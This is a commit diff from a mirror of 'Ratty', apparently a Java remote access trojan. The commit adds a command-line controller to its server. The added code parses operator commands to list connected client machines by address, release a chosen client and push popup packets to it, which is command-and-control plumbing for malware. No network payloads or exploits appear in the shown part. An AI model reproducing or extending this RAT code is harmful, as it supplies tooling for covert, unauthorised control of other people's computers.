mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
10 changed files with 362 additions and 26 deletions
-
12Ratty/res/language/lang.properties
-
12Ratty/res/language/lang_de.properties
-
12Ratty/res/language/lang_en.properties
-
52Ratty/src/de/sogomn/rat/Ratty.java
-
2Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
-
122Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java
-
9Ratty/src/de/sogomn/rat/server/cmd/ICommandLineListener.java
-
148Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java
-
2Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
5Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@ -0,0 +1,122 @@ |
|||||
|
package de.sogomn.rat.server.cmd; |
||||
|
|
||||
|
import java.io.BufferedReader; |
||||
|
import java.io.IOException; |
||||
|
import java.io.InputStreamReader; |
||||
|
import java.util.stream.Stream; |
||||
|
|
||||
|
import de.sogomn.engine.util.AbstractListenerContainer; |
||||
|
|
||||
|
public final class CommandLineReader extends AbstractListenerContainer<ICommandLineListener> { |
||||
|
|
||||
|
private BufferedReader reader; |
||||
|
private Thread thread; |
||||
|
|
||||
|
private static final String ARGUMENT_SEPARATOR = " "; |
||||
|
|
||||
|
public CommandLineReader() { |
||||
|
final InputStreamReader inReader = new InputStreamReader(System.in); |
||||
|
|
||||
|
reader = new BufferedReader(inReader); |
||||
|
} |
||||
|
|
||||
|
private String readLine() { |
||||
|
try { |
||||
|
final String line = reader.readLine(); |
||||
|
|
||||
|
return line; |
||||
|
} catch (final IOException ex) { |
||||
|
return null; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
public void start() { |
||||
|
final Runnable runnable = () -> { |
||||
|
while (true) { |
||||
|
final String line = readLine(); |
||||
|
|
||||
|
if (line != null) { |
||||
|
final Command command = Command.parse(line); |
||||
|
|
||||
|
notifyListeners(listener -> listener.commandInput(command)); |
||||
|
} |
||||
|
} |
||||
|
}; |
||||
|
|
||||
|
thread = new Thread(runnable); |
||||
|
thread.start(); |
||||
|
} |
||||
|
|
||||
|
public void stop() { |
||||
|
thread.interrupt(); |
||||
|
thread = null; |
||||
|
} |
||||
|
|
||||
|
public static final class Command { |
||||
|
|
||||
|
private final String command; |
||||
|
private final String[] arguments; |
||||
|
|
||||
|
public static final Command EMPTY = new Command(""); |
||||
|
|
||||
|
public Command(final String command, final String... arguments) { |
||||
|
this.command = command; |
||||
|
this.arguments = arguments; |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public boolean equals(final Object obj) { |
||||
|
if (this == obj) { |
||||
|
return true; |
||||
|
} else if (obj == null || getClass() != obj.getClass() || command == null) { |
||||
|
return false; |
||||
|
} |
||||
|
|
||||
|
final Command other = (Command)obj; |
||||
|
final boolean equals = command.equalsIgnoreCase(other.command); |
||||
|
|
||||
|
return equals; |
||||
|
} |
||||
|
|
||||
|
public boolean equals(final String string) { |
||||
|
if (command == null || string == null) { |
||||
|
return false; |
||||
|
} |
||||
|
|
||||
|
return command.equalsIgnoreCase(string); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public String toString() { |
||||
|
return command; |
||||
|
} |
||||
|
|
||||
|
public String argument(final int index) { |
||||
|
if (index < 0 || index > arguments.length - 1) { |
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
return arguments[index]; |
||||
|
} |
||||
|
|
||||
|
public static Command parse(final String line) { |
||||
|
final String[] parts = line.split(ARGUMENT_SEPARATOR); |
||||
|
|
||||
|
if (parts.length == 0) { |
||||
|
return EMPTY; |
||||
|
} |
||||
|
|
||||
|
final String commandString = parts[0]; |
||||
|
final String[] arguments = Stream |
||||
|
.of(parts) |
||||
|
.skip(1) |
||||
|
.filter(part -> part != null && !part.isEmpty()) |
||||
|
.toArray(String[]::new); |
||||
|
final Command command = new Command(commandString, arguments); |
||||
|
|
||||
|
return command; |
||||
|
} |
||||
|
|
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,9 @@ |
|||||
|
package de.sogomn.rat.server.cmd; |
||||
|
|
||||
|
import de.sogomn.rat.server.cmd.CommandLineReader.Command; |
||||
|
|
||||
|
public interface ICommandLineListener { |
||||
|
|
||||
|
void commandInput(final Command command); |
||||
|
|
||||
|
} |
@ -0,0 +1,148 @@ |
|||||
|
package de.sogomn.rat.server.cmd; |
||||
|
|
||||
|
import de.sogomn.rat.ActiveConnection; |
||||
|
import de.sogomn.rat.Ratty; |
||||
|
import de.sogomn.rat.packet.FreePacket; |
||||
|
import de.sogomn.rat.packet.IPacket; |
||||
|
import de.sogomn.rat.packet.PopupPacket; |
||||
|
import de.sogomn.rat.server.AbstractRattyController; |
||||
|
import de.sogomn.rat.server.cmd.CommandLineReader.Command; |
||||
|
|
||||
|
public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener { |
||||
|
|
||||
|
private CommandLineReader reader; |
||||
|
|
||||
|
private static final String FREE = "Free"; |
||||
|
private static final String EXIT = "Exit"; |
||||
|
private static final String LIST = "List"; |
||||
|
private static final String POPUP = "Popup"; |
||||
|
private static final String HELP = "Help"; |
||||
|
|
||||
|
private static final String HELP_STRING = Ratty.LANGUAGE.getString("cmd.help"); |
||||
|
|
||||
|
public RattyCmdController() { |
||||
|
reader = new CommandLineReader(); |
||||
|
|
||||
|
reader.addListener(this); |
||||
|
reader.start(); |
||||
|
} |
||||
|
|
||||
|
private int parseIndexSafely(final String string) { |
||||
|
if (string == null) { |
||||
|
return -1; |
||||
|
} |
||||
|
|
||||
|
try { |
||||
|
final int number = Integer.parseInt(string); |
||||
|
|
||||
|
return number; |
||||
|
} catch (final NumberFormatException ex) { |
||||
|
return -1; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private ActiveConnection getConnectionByIndex(final int index) { |
||||
|
if (index < 0 || index > connections.size() - 1) { |
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
return connections.get(index); |
||||
|
} |
||||
|
|
||||
|
private ActiveConnection getConnectionByAddress(final String address) { |
||||
|
if (address == null) { |
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
for (final ActiveConnection connection : connections) { |
||||
|
final String connectionAddress = connection.getAddress(); |
||||
|
|
||||
|
if (connectionAddress.equals(address)) { |
||||
|
return connection; |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
private ActiveConnection getConnection(final String input) { |
||||
|
if (input == null) { |
||||
|
return null; |
||||
|
} |
||||
|
|
||||
|
final int index = parseIndexSafely(input); |
||||
|
final ActiveConnection connection; |
||||
|
|
||||
|
if (index != -1) { |
||||
|
connection = getConnectionByIndex(index); |
||||
|
} else { |
||||
|
connection = getConnectionByAddress(input); |
||||
|
} |
||||
|
|
||||
|
return connection; |
||||
|
} |
||||
|
|
||||
|
/* |
||||
|
* ================================================== |
||||
|
* HANDLING |
||||
|
* ================================================== |
||||
|
*/ |
||||
|
|
||||
|
private void freeClient(final Command command) { |
||||
|
final String input = command.argument(0); |
||||
|
final ActiveConnection connection = getConnection(input); |
||||
|
|
||||
|
if (connection != null) { |
||||
|
final FreePacket packet = new FreePacket(); |
||||
|
|
||||
|
connection.addPacket(packet); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private void listClients() { |
||||
|
connections.stream().forEach(connection -> { |
||||
|
final int index = connections.indexOf(connection); |
||||
|
|
||||
|
System.out.println(index + ": " + connection.getAddress()); |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
private void sendPopup(final Command command) { |
||||
|
final String connectionInput = command.argument(0); |
||||
|
final ActiveConnection connection = getConnection(connectionInput); |
||||
|
final String message = command.argument(1); |
||||
|
|
||||
|
if (connection != null && message != null) { |
||||
|
final PopupPacket packet = new PopupPacket(); |
||||
|
|
||||
|
connection.addPacket(packet); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
/* |
||||
|
* ================================================== |
||||
|
* HANDLING END |
||||
|
* ================================================== |
||||
|
*/ |
||||
|
|
||||
|
@Override |
||||
|
public void packetReceived(final ActiveConnection connection, final IPacket packet) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void commandInput(final Command command) { |
||||
|
if (command.equals(EXIT)) { |
||||
|
System.exit(0); |
||||
|
} else if (command.equals(FREE)) { |
||||
|
freeClient(command); |
||||
|
} else if (command.equals(LIST)) { |
||||
|
listClients(); |
||||
|
} else if (command.equals(POPUP)) { |
||||
|
sendPopup(command); |
||||
|
} else if (command.equals(HELP)) { |
||||
|
System.out.println(HELP_STRING); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue